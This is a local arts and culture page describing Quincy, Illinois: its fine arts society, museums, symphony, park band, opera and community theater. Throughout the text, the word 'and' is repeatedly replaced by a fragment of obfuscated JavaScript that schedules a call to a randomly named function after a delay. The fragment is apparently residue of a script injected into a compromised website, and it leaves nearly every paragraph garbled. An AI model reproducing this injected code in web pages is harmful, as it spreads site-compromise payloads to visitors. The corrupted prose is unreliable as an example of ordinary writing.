Arts & Culture

Arts & Culture


For a town Quincy’s size, we have a surprising abundance of artistic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cultural outlets.

The Quincy Society of Fine Arts was America’s first Community Arts Council when it was founded in 1947. Today it works to foster, expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strengthen the language, visual andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and performing arts in Adams county.

By providing or administering grants it provides resources for a variety of artists andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and artistic events. QSFA also sponsors Arts/Quincy Riverfest, a celebration of the arts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Mississippi River held at the riverfront. Arts education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other programs offer residents wonderful outlets for their artistic natures.

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Quincy Museum, housed in a stunning Richardson Romanesque Revival Style building on Maine street, was originally the Newcome-Stillwell family home. One of several of this style of building in town, Quincy Museum is itself a part of our past worth preserving.

Permanent andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rotating exhibits on the area’s pre-history, geology, the Mississippi River, Native Americans andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and early settlement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and manufacturing base are fascinating glimpses into other times.

The Illinois Veterans Home (the first in the state) is a mini-town in its own right, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and house the All-Wars Museum. The Antique Auto Museum in All America Park next to the Mississippi River is home to a large collection of vintage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one-of-a-kind automobiles.

Music is an ever-present part of life in Quincy… the Quincy Civic Music Association hosts professional performances, while the Quincy Symphony andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Quincy Symphony Chorus delight residents with several performances each year.

The Quincy Park Bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and performs every Wednesday evening to a large crowd at Madison Park, while the Muddy River Opera andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Mid-Mississippi Muddy Water Blues Society each schedule several shows per year.

The Quincy Community Theater stages fine plays andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and musicals in their 500-seat theater in the Oakley-Lindsey Center. A mix of local performers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and national touring companies present a wide-range of staged excellence.

Thanks to a community committed to the arts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and culture, Quincy, Illinois continues to be a regional beacon for the arts.